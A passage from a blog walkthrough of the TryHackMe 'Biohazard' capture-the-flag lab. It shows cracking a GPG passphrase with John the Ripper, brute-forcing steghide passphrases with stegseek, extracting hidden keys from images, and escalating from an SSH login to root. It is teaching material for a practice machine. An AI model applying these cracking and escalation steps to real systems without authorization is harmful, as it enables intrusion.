dividing information into 128-bit blocks and scrambling them using complex mathematical operations. Depending on the key length (128, 192, or 256 bits), this process repeats through multiple rounds. This makes the output look completely random and unreadable without the key. Because it’s fast and secure, AES is widely used in <strong>Wi-Fi, banking, VPNs, and file encryption</strong>.</p><p>Now, you might be wondering how to open the <strong>helmet_key</strong> file, where do we input the key? This is where <strong>.gpg</strong> comes into play.</p><p>After some research, I found out that <strong>GPG</strong> (GNU Privacy Guard) is an <strong>open-source encryption tool</strong>. You can learn more about it online, but here’s a quick overview of how GPG encryption and decryption works:</p><p><a href="https://www.redhat.com/en/blog/encryption-decryption-gpg">File encryption and decryption made easy with GPG</a></p><p>Now I understand how to decrypt the <strong>.gpg</strong> file by simply typing <strong>gpg</strong> followed by the file name. But when you try to open the <strong>.gpg</strong> file, you’ll see a prompt asking for a <strong>passphrase</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*uGfbFvnwitvEMg1vQQ41_w.png" /><figcaption>[ gpg ]</figcaption></figure><p>I first tried leaving the <strong>passphrase field blank</strong>, thinking maybe the file didn’t have one but that didn’t work.</p><p>There’s another way we’ve used before (you can check my previous post called <em>“Basic Pentesting”</em>). I thought, why not try cracking the passphrase with <strong>John the Ripper</strong>? It might work, or it might just be luck, but let’s give it a shot.</p><p>The first step is to convert the<strong> .gpg </strong>file into hashes using this command:</p><pre>gpg2john helmet_key.txt.gpg &gt; gpg.hash</pre><p>The file was successfully converted into a hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rndAagGDZHxOGGN4b9SWpg.png" /><figcaption>[ gpg.hash ]</figcaption></figure><p>Now, let’s brute-force the hash with <strong>John the Ripper</strong> to obtain the key using this command:</p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt gpg.hash</pre><p>Brute-forcing has started:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d2LOgYjdFNzbPoKR5f3rdQ.png" /><figcaption>[ john ]</figcaption></figure><p>I waited for a long time but didn’t get the key.</p><p>Since we haven’t explored the other files yet, we’ll come back to this later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*rmXcKt0yKM9O2RLcKHu-xw.png" /><figcaption>[ files ]</figcaption></figure><p>There’s another text file called <strong>important.txt</strong>. Let’s inspect it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gM4c4NxKOy2fPpiplck4AQ.png" /><figcaption>[ important.txt ]</figcaption></figure><p>Inside this file, it mentions that the <strong>helmet key</strong> is there, but there are no clues on how to decrypt it. However, it does mention a path: <strong>/hidden_closet/ </strong>by Barry.</p><p>Let’s visit that location and see what key we need to unlock the door:</p><h4>[ Closet room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p9Z-WMQ-XohKKUzEHRD99A.png" /><figcaption>/hidden_closet/</figcaption></figure><p>Looks like this door also needs the <strong>helmet </strong>key.</p><p>In our done list:</p><pre>/studyRoom/       ----&gt; input helemt flag!<br>/hidden_closet/   ----&gt; input helemt flag!</pre><p>So I realized that to access these paths, we definitely need to crack the<strong> passphrase or key</strong> for the <strong>helmet</strong> flag!</p><p><strong>3.2.</strong> Password for the encrypted file</p><p>So here we are anyway, we need to decrypt the<strong> helmet key</strong>. Actually, we haven’t finished exploring the other files yet. Don’t worry about the <strong>gpg.hash</strong> we created earlier for cracking the helmet key just forget about it for now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*iTD7T-NlMVEZiCi4gd3_KQ.png" /><figcaption>[ files]</figcaption></figure><p>There are three <strong>.jpg</strong> images. Let’s take a look and see if they contain any hints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4TLUB4rvWw5ZH68240eJXw.png" /><figcaption>[ .jpg ]</figcaption></figure><p>I opened all three images, but there was nothing inside. However, do you notice a <strong>pattern</strong>? I’ll show you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*6lhHv82e2rAdyaHpNszfMw.png" /><figcaption>[ key ]</figcaption></figure><blockquote>We’ve done something similar before when finding the FTP username and password. So what actually happened there? We needed to <strong>collect four crests</strong>, then <strong>decode them and combine them into one string</strong>. After decoding that string again, we finally got the result.</blockquote><p>I think something similar is happening here, but this time with image files. Let’s inspect them. I’ll first determine the file type, just like we did before with the <strong>.gpg</strong> extension.</p><p><strong>command</strong>:</p><pre>file &lt;input-file&gt;</pre><p><strong>example:</strong></p><pre>file 001-key.jpg</pre><p><strong>001-key.jpg</strong>:</p><pre>001-key.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 400x320, components 3</pre><p>This one’s just a regular image. Let’s check the next one.</p><p><strong>002-key.jpg:</strong></p><pre>002-key.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: &quot;5fYmVfZGVzdHJveV9&quot;, progressive, precision 8, 100x80, components 3</pre><p>But here, we found something interesting a string hidden in the comment of<strong> 002-key.jpg</strong> . It looks like it could be <strong>Base64</strong> encoded.</p><pre> comment: &quot;5fYmVfZGVzdHJveV9&quot;,</pre><p>I put this string into <strong>CyberChef</strong>, and after inspecting its properties, it turned out to be <strong>Base85 </strong>encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*-nrYg8tVB7e6lHKHpiFi3g.png" /><figcaption>[ CyberChef ]</figcaption></figure><p>Maybe it’s related to the key. Let’s note it down and move on to the next <strong>.jpg</strong> file.</p><p><strong>003-key.jpg:</strong></p><pre>003-key.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: &quot;Compressed by jpeg-recompress&quot;, progressive, precision 8, 100x80, components 3</pre><p>So, in the comment section, it’s not an encrypted string. It shows:</p><pre>comment: &quot;Compressed by jpeg-recompress&quot;,</pre><p>This isn’t just an ordinary image there’s something hidden behind it, possibly compressed within the file. What if we try to decompress it like a <strong>zip</strong> file?</p><p><strong>command:</strong></p><pre>unzip 003-key.jpg</pre><p><strong>out:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RnERogAJqq4S0Vl8CCafyg.png" /><figcaption>[ unzip ]</figcaption></figure><p>Inside, we found a file named <strong>key-003.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TXa2J6HayPStoBMh5ne6Hg.jpeg" /><figcaption>[ extracted ]</figcaption></figure><p>So, as you can see, a new file called <strong>key-003.txt</strong> has appeared. Let’s inspect it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*QFMYo8xDNsBWGz8HCBsa0A.png" /><figcaption>[ key-003.txt ]</figcaption></figure><p>as you can see, a new file called <strong>key-003.txt</strong> has appeared. Let’s inspect it.</p><pre>001-key ?<br><br>002-key 5fYmVfZGVzdHJveV9<br><br>003-key 3aXRoX3Zqb2x0</pre><p>By the way, notice this difference:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KH2TM8A2rfGOz9ABs--Ftg.png" /><figcaption>[ file ]</figcaption></figure><p>Actually, this is <strong>my way</strong> of finding those keys. There’s an exact, proper method to extract them but then why did I show you this?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*cdu7fybj0pfWD4smSRm54Q.gif" /><figcaption>[ GIF sourced from tenor. Rights belong to the creator. ]</figcaption></figure><p>Because it <strong>might help in different situations</strong>, I wanted to show you my approach. Let me make it clear, we are dealing with <strong>steganography</strong>.</p><p>If you want to learn more, here’s a reference you can check out:</p><p><a href="https://www.geeksforgeeks.org/computer-networks/what-is-steganography/">What is Steganography? - GeeksforGeeks</a></p><p><strong>Steganography</strong> is the practice of hiding data inside an image in various ways. There are many different types, and I won’t go into all of them here it would take too long but you can explore them through the link provided.</p><p>Sometimes, we find a <strong>text file embedded inside an image</strong>. Other times, different types of data are hidden, which means we need to use different tools to <strong>reveal the hidden information</strong>.</p><p>I’ll show you how to use these tools to extract hidden data:</p><ol><li>steghide</li><li>stegseek</li><li>exiftool</li><li>binwalk</li></ol><p><strong>[ steghide ]</strong></p><p><strong>command:</strong></p><pre>steghide --info 001-key.jpg</pre><p>This command helps you <strong>analyze an image</strong> to check if it contains any hidden messages or files without actually extracting them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*LKDdFUqrmRbPUmnYtYgYgw.png" /><figcaption>[ steghide ]</figcaption></figure><p>After hitting <strong>y</strong>, it will ask for a passphrase just press <strong>Enter</strong>!</p><p>Once you run this command, it shows that a file called <strong>key-001.txt</strong> is embedded in <strong>001-key.jpg</strong>.</p><p>If you want to <strong>extract that embedded text file</strong> from the image, here’s how to do it:</p><p><strong>command:</strong></p><pre>steghide --extract -sf 001-key.jpg</pre><p>When it asks for a passphrase, just hit <strong>Enter</strong>, and the file will be extracted!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YIlvdV_5Zhd6RZXC5mSPVw.png" /><figcaption>[ steghide ]</figcaption></figure><p>Let’s take a look at the extracted text:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c__3tcx-lLVeDwdfZFJczg.png" /><figcaption>[ key-001.txt ]</figcaption></figure><p>Now we have the <strong>first key</strong>!</p><p>You might be wondering about the parameters I used with <strong>steghide</strong>:</p><pre>--info    -&gt; display information about a cover- or stego-file<br>--extract -&gt; extract data<br>-sf       -&gt; select stego file</pre><p>There are more parameters available just type <strong>steghide</strong> to see all the options.</p><p><strong>[ stegseek ]</strong></p><p>Now, let’s move on to s<strong>tegseek</strong>. We didn’t use this earlier, but it can be really helpful.</p><p>Do you remember when we tried to get information from the image using <strong>steghide</strong>?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*LKDdFUqrmRbPUmnYtYgYgw.png" /><figcaption>[ steghide ]</figcaption></figure><p>Here, I told you to just hit <strong>Enter</strong> when prompted for a passphrase. In our case, it wasn’t needed, but this <strong>won’t always be the case</strong>.</p><p>If the creator embeds a passphrase, you’ll need to find it because that’s the only way to extract the hidden data or file.</p><p>Let me show you a <strong>scenario</strong>:</p><p>Here, you can see an image in my <strong>demo</strong> directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vsayL-fIuOE8SDI8sXFnIA.png" /><figcaption>[ cat.jpg ]</figcaption></figure><p>I created a file called <strong>secret.txt</strong> and embedded it inside <strong>cat.jpg</strong> using <strong>steghide</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w7Y3uZ9RofRFFosljcHA4w.png" /><figcaption>[ steghide ]</figcaption></figure><p>Here, you can see that it’s asking for a passphrase. So, I set a passphrase for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LC51WoWrta1RfzxVTNwokQ.png" /><figcaption>[ steghide ]</figcaption></figure><p>Notice here that to extract the embedded text file, you <strong>must provide the correct passphrase</strong>.</p><blockquote>The old trick hitting <strong>Enter</strong> with a blank password like we did for <strong>001-key.jpg</strong> won’t work this time.</blockquote><p>What would you do in this scenario?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*LAN3mBaU5LpiYb0Z929ntw.gif" /><figcaption>[ GIF sourced from tenor. Rights belong to the creator. ]</figcaption></figure><p>In this situation, we can use <strong>stegseek</strong> to <strong>brute-force the passphrase</strong> using a wordlist.</p><p><strong>command:</strong></p><pre>stegseek cat.jpg -wl /usr/share/wordlists/rockyou.txt</pre><p><strong>result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*odpSATp9Fnnxd-UxHimwOw.png" /><figcaption>[ stegseek ]</figcaption></figure><p>It detected the passphrase, which was <strong>silver</strong>. The original file we embedded, <strong>secret.txt</strong>, was extracted as <strong>cat.jpg.out</strong>.</p><p>Let’s see how it works by checking the extracted file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isCqP32hlwBd7UywL94iNg.png" /><figcaption>[ cat.jpg.out ]</figcaption></figure><p>We successfully extracted the embedded file. Sometimes, a <strong>.jpg</strong> is protected by a passphrase, so this method can be very helpful it’s a common way to find the passphrase.</p><p>Now, if we look at the other <strong>.jpg</strong> files (excluding <strong>001-key.jpg</strong>):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*JPL1T_gKnkfpip5BsucF6w.png" /><figcaption>[ steghide ]</figcaption></figure><p>This means we need a <strong>passphrase</strong>. It’s asking for one as well so can we brute-force it?</p><p>This is exactly why I suggested <strong>manually inspecting </strong>the<strong> .jpg </strong>files and checking their formats first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KH2TM8A2rfGOz9ABs--Ftg.png" /><figcaption>[ file ]</figcaption></figure><p>When you examine the files carefully, the approach becomes clearer. <strong>001-key.jpg </strong>has no comments or hidden content, so there’s no need for <strong>stegseek</strong> or additional tools. In contrast, the second image contains a comment, and the next key was compressed this gives clues about which method to use and helps avoid confusion. I hope this method is useful.</p><p><strong>[ exiftool ]</strong></p><p>This tool helps you gather more information about an image. You can <strong>extract comments</strong> and other metadata as well.</p><p><strong>command:</strong></p><pre>exiftool 002-key.jpg</pre><p><strong>002-key.jpg:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4AQwVcJSoiDZlnInhEzvzQ.png" /><figcaption>[ exiftool ]</figcaption></figure><p><strong>003-key.jpg:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ByKsuKRliEl2_3uA4Xa8WA.png" /><figcaption>[ exiftool ]</figcaption></figure><p>When you look closely, you’ll notice <strong>comments in both images</strong> along with other information. There’s even more you can do with <strong>ExifTool </strong>just type <strong>exiftool</strong> in your terminal to explore its features.</p><p><strong>[ binwalk ]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PYNZEyZT4sJre4ep16_vNA.png" /><figcaption>[ binwalk ]</figcaption></figure><p>Here, you can see that when we run this single command, it shows that a <strong>zip file exists</strong> in the image, including the name of the text file inside.</p><p><strong>command:</strong></p><pre>binwalk -e 003-key.jpg</pre><p>After extracting the <strong>.jpg</strong> , a new directory appeared called <strong>_003-key.jpg.extracted</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZPgtdzaoV5TtG7BqAeNgZw.png" /><figcaption>[ extracted ]</figcaption></figure><p>Let’s see what’s inside that directory. Here we have <strong>key-003.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*NOcuBtO52gPAzPhHioEu4g.png" /><figcaption>[ key-003.txt ]</figcaption></figure><p>Let’s cat that file. And here it is our <strong>key</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQtzxTIiOyvganbDIoJ6wg.png" /><figcaption>[ key-003.txt ]</figcaption></figure><p>Of course, these aren’t the only tools or methods for steganography, there’s a lot more to explore. I’ll cover a deeper dive in a future post.</p><p>For now, we’ve successfully obtained our <strong>keys</strong>:</p><pre>001-key -&gt; cGxhbnQ0Ml9jYW<br>002-key -&gt; 5fYmVfZGVzdHJveV9<br>003-key -&gt; 3aXRoX3Zqb2x0</pre><p>What we need to do now is <strong>combine all the strings into one</strong>:</p><pre>cGxhbnQ0Ml9jYW5fYmVfZGVzdHJveV93aXRoX3Zqb2x0</pre><p>At last, take the combined string, drop it into <strong>CyberChef</strong>, and apply the <strong>“Magic” recipe</strong>. This will give you the <strong>passphrase</strong> for the <strong>.gpg</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*mHyYLdLHmPg_4nMdt0ZXZg.png" /><figcaption>[ CyberChef ]</figcaption></figure><p>Now we have the <strong>password</strong> for the encrypted file.</p><p><strong>3.3.</strong> What is the helmet key flag</p><p>Now, let’s decrypt<strong> helmet_key.txt.gpg </strong>using the passphrase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W0muSCO-WFEMpWv-eUWOaw.png" /><figcaption>[ decrypt gpg]</figcaption></figure><p>Let’s list our directory. We’ve successfully decrypted <strong>helmet_key</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iRtHgo4zOfJ0WOQdrvVPBA.png" /><figcaption>[ extracted ]</figcaption></figure><p>Let’s cat the <strong>helmet_key.txt</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*F98K1zVwz0odAUC0nWrRJA.png" /><figcaption>[ helmet_key]</figcaption></figure><p>Flag captured: <strong>helmet_key</strong>!</p><h3>Task 4. The Revisit</h3><p><strong>4.1.</strong> What is the SSH login username</p><p>We got the <strong>helmet key</strong>, remember now let’s unlock those doors!</p><pre>/studyRoom/       ----&gt; input helemt flag!<br>/hidden_closet/   ----&gt; input helemt flag!</pre><p>Let’s go to the <strong>Study Room</strong> entrance and enter the <strong>helmet key</strong>!</p><h4>[ Study room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vaJohDowzx-ALV_qqwl0bA.png" /><figcaption>/studyRoom/</figcaption></figure><p>We made it inside from the <strong>Study Room entrance</strong> to the <strong>Study Room</strong>!</p><h4>[ Study room]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4zAVzanpGO_2pQEUcKk5fw.png" /><figcaption>/studyRoom28341c5e98c9…./</figcaption></figure><p>Inside, there’s a hyperlink labeled <strong>EXAMINE</strong>. Clicking it downloads a compressed file called <strong>doom.tar.gz , </strong>Our next step is to decompress it and see what’s inside.</p><p>When we check the file type:</p><pre>doom.tar.gz: gzip compressed data, last modified: Fri Sep 20 07:04:11 2019, from Unix, original size modulo 2^32 10240</pre><p>The file has the extension <strong>.tar.gz</strong> . This is a type of archive format similar to a <strong>.zip</strong> file but more commonly used in Linux. You can look up the details yourself if you want to dive deeper, but for now, just remember, it works like a zip file.</p><p>Let’s decompress it and see if something’s hidden inside.<br>Use this command to unzip the <strong>.gz</strong> file:</p><p><strong>command:</strong></p><pre>gunzip doom.tar.gz</pre><p><strong>result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vi9jBRX_00W3Dwnx2IJr6A.png" /><figcaption>[ doom.tar.gz ]</figcaption></figure><p>After running the command, the <strong>.gz</strong> part is gone and we’re left with <strong>doom.tar, </strong>Now, we need to use another command for the <strong>.tar</strong> extension to see what’s inside the archive.</p><p><strong>command:</strong></p><pre>tar -xf doom.tar</pre><p><strong>result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B-iatr8O8PIjGMRzrpmsXA.png" /><figcaption>[ doom.tar ]</figcaption></figure><p>From the archive, we extracted a text file called <strong>eagle_medal.txt</strong>.<br>Let’s check what’s inside by simply running cat :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U0bRqNLbMBGDdRdgAB_Odw.png" /><figcaption>[ eagle_medal.txt ]</figcaption></figure><p>We got the <strong>ssh username</strong>!</p><p><strong>4.2.</strong> What is the SSH login password</p><pre>/studyRoom/       ----&gt; done<br>/hidden_closet/   ----&gt; input helemt flag!</pre><p>We’ve already completed the <strong>/studyRoom/</strong></p><p>Our next destination is <strong>/hidden_closet/ </strong>let’s head there and enter the <strong>helmet key</strong>!</p><h4>[ Closet room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjsm__MCJriewPVcU7uIWw.png" /><figcaption>/hidden_closet/</figcaption></figure><p>We entered the closet passing through the Closet entrance and into the Closet room.</p><h4>[ Closet room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kN7V02ry08BdrUoLefrx1w.png" /><figcaption>/hiddenCloset8997e74…/</figcaption></figure><p>Inside, you’ll see two hyperlinks <strong>READ</strong> and <strong>EXAMINE</strong>.<br>Let’s start by clicking <strong>READ</strong> and see what it reveals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAI-PvfZGt5_8bf2C3APLw.png" /><figcaption>/hiddenCloset8997e74…/MO_DISK1.txt</figcaption></figure><p>From the first hyperlink, we get another text. I think it’s a <strong>Vigenère cipher</strong>, so let’s put it into <strong>Enigmator</strong> and see which cipher is being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xlJMWbkbScU400RarPlEHQ.png" /><figcaption>[ Enigmator ]</figcaption></figure><p>So, it’s a <strong>Vigenère cipher</strong>, but we don’t have the key. For a shortcut this time, let’s go to the <strong>dcode</strong> website, paste the cipher, and see what the output reveals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D-nvQBX0BZUCOry17crW8Q.png" /><figcaption>[ dcode ]</figcaption></figure><p>Here, you can see that the left side shows the result it contains a username and password. It’s not the SSH password, so let’s note it down somewhere.</p><p><strong>dcode</strong> link:</p><p><a href="https://www.dcode.fr/">dCode - Solveurs, Crypto, Maths, Codes, Calculs en Ligne</a></p><p>Next, let’s move on to the other hyperlink called <strong>EXAMINE</strong> in the Closet room.</p><h4>[ Closet room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kN7V02ry08BdrUoLefrx1w.png" /><figcaption>/hiddenCloset8997e74…/</figcaption></figure><p>there it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*eFbjGa2xQ1VXv51g1A9x3w.png" /><figcaption>/hiddenCloset8997e74…/wolf_medal.txt</figcaption></figure><p>we got the <strong>ssh password</strong>!</p><p><strong>4.3.</strong> Who the STARS bravo team leader</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kN7V02ry08BdrUoLefrx1w.png" /><figcaption>/hiddenCloset8997e74…/</figcaption></figure><p>They already mentioned who <strong>STARS’ Bravo team leader</strong> is in the Closet Room. When you read the text, you can understand it clearly.</p><h3>Task 5. Underground laboratory</h3><p><strong>5.1.</strong> Where you found Chris</p><p>Do you remember the SSH credentials we obtained earlier?<br>Let’s use them to <strong>log in</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2LSIHySV5hx6dCnyaOnosw.png" /><figcaption>[ ssh ]</figcaption></figure><p>After logging in and listing the current directory, we notice some <strong>hidden files</strong> have appeared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*QP5hzFCWlz9Ty9ozRsIVTg.png" /><figcaption>[ jailcell ]</figcaption></figure><p>Here, there’s a directory called <strong>.jailcell</strong>. Let’s go inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5CQDlFYmRRxHUwLDVV4LIw.png" /><figcaption>[ jailcell ]</figcaption></figure><p>Here, we found <strong>Chris</strong> inside the jailcell!</p><p><strong>5.2.</strong> Who is the traitor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqPb-9EDN_k9LNinrC-osw.png" /><figcaption>[ chris.txt ]</figcaption></figure><p>When you cat the <strong>chris.txt</strong> file we found earlier, it reveals <strong>who the traitor is</strong>. Just read through the conversation.</p><p><strong>5.3.</strong> The login password for the traitor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAI-PvfZGt5_8bf2C3APLw.png" /><figcaption>/hiddenCloset8997e74…/MO_DISK1.txt</figcaption></figure><p>So, we’ve already obtained the <strong>yearly password</strong>. It’s not the SSH password, we deciphered it and got a <strong>username and password</strong> from the Hidden Closet.</p><p><strong>5.4.</strong> The name of the ultimate form</p><p>When we navigate to the <strong>/home</strong> directory, we can see that there are <strong>three users</strong> there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*egaCrwGNHIN83CPf_D_aFw.png" /><figcaption>[ home ]</figcaption></figure><p>In <strong>hunter</strong>, we previously accessed it via the FTP connection to get the helmet key. If you’re interested, you can check for any hidden files I’ve examined those folders once again.</p><p>The second user, <strong>umbrella_guest</strong>, hasn’t been fully explored yet. We already found <strong>.jailcell</strong> with Chris inside, so now let’s visit <strong>weasker</strong> and see what’s inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*XBrwjtW9HnBf5OA3Vlu2RQ.png" /><figcaption>[ umbrella_guest ]</figcaption></figure><p>Here, we found a file called <strong>weasker_note.txt</strong>. Let’s check what’s inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fx3Miyd2ycIWxRJpvg3yTg.png" /><figcaption>[ weasker_note.txt ]</figcaption></figure><p>When you read this conversation, it mentions which<strong> Ultimateform</strong>!</p><p><strong>5.5.</strong> The root flag</p><p>I checked whether the current user can escalate to <strong>root</strong>, but it’s not possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*byjbMHIGSB6UYh9qhpJ7nw.png" /><figcaption>[ check ]</figcaption></figure><p>My next move is to look for any <strong>SUID binaries</strong>, as they might lead to <strong>root access</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddf9lqsXM-OuSTPEu9pQBw.png" /><figcaption>[ SUID ]</figcaption></figure><p>I tested each binary, but none worked. However, I noticed a suspicious binary called <strong>pkexec</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*u82qj17DQgK4Efl7ZmLBhw.png" /><figcaption>[ pkexec ]</figcaption></figure><p>I found an exploit, but it’s mostly <strong>trial and error</strong> because I don’t know if it will work on this machine. If it’s patched, it won’t work.</p><p><a href="https://www.exploit-db.com/exploits/17942">OffSec&#39;s Exploit Database Archive</a></p><p>There’s another problem: the exploit needs to be <strong>compiled with a compiler</strong> because it’s coded in C. Unfortunately, there’s no compiler available on the target machine, so uploading the exploit there would be pointless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uR5TddJRV-bOw3fSj_SSPQ.png" /><figcaption>[ compiler ]</figcaption></figure><p>Can we install a compiler? No it’s not possible. A normal user can’t install software without root permissions. So, what do we do?</p><p>Do you remember the credentials we obtained from deciphering the text in the Closet Room? The username was <strong>weasker</strong>. We’ve already seen that this user exists on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*egaCrwGNHIN83CPf_D_aFw.png" /><figcaption>[ users ]</figcaption></figure><p>Let’s try to <strong>switch to the user weasker</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*YqnTyDAtWoX4AlifCEbMRQ.png" /><figcaption>[ su ]</figcaption></figure><p>We’ve successfully <strong>switched to the user weasker</strong>. Now, let’s check for <strong>root access</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5EjAIapy1USUtLHe4KCNQ.png" /><figcaption>[ check ]</figcaption></figure><p>It shows that <strong>weasker</strong> can become <strong>root</strong>! Let’s simply switch to the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8IfaKoYSosoZkZQ3RmbEXQ.png" /><figcaption>[ root ]</figcaption></figure><p>Let’s navigate to the <strong>root directory</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*afcmn4cXujpXehRvJ3JC4A.png" /><figcaption>[ root ]</figcaption></figure><p>Here, we can see a file called <strong>root.txt</strong>. Let’s <strong>cat</strong> that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lwO3Z-ZwetVvI-Lbughbng.jpeg" /><figcaption>[ flag ]</figcaption></figure><p>We got the <strong>root</strong> flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*tZjvJ-8GN9NsJuxgIUsM9w.gif" /><figcaption>[ GIF sourced from imgur. Rights belong to the creator. ]</figcaption></figure><blockquote>“Root flag captured Biohazard pwned!!!!!!!!!!!!”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGbwftYhFdEtALHAiR91JA.png" /><figcaption>[ This image and all the theoretical content of the present article is <a href="https://tryhackme.com/">TryHackMe’s</a> property. ]</figcaption></figure><h3>Thanks for coming! Stay curious, stay ethical!</h3><p>Follow me for more about cybersecurity: <a href="https://medium.com/@0xW41th">Medium</a>, <a href="https://github.com/0xW41th">Github</a>, <a href="https://www.linkedin.com/in/adwaith-sec">LinkedIN</a></p><p>This challenge was created by <a href="https://tryhackme.com/p/DesKel">DESKEL</a>. Thank you for investing your time and effort to develop it so that I can sharpen my skills!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d8a234f6316" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/unlocking-the-secrets-my-biohazard-ctf-adventure-part-2-5d8a234f6316">Unlocking the Secrets: My Biohazard CTF Adventure Part 2</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Surviving the Nightmare: My Biohazard CTF Adventure]]></title>
            <link>https://infosecwriteups.com/surviving-the-nightmare-my-biohazard-ctf-adventure-e9e5d4ff13e2?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9e5d4ff13e2</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Fri, 05 Sep 2025 13:56:16 GMT</pubDate>
            <atom:updated>2025-09-28T13:37:28.959Z</atom:updated>
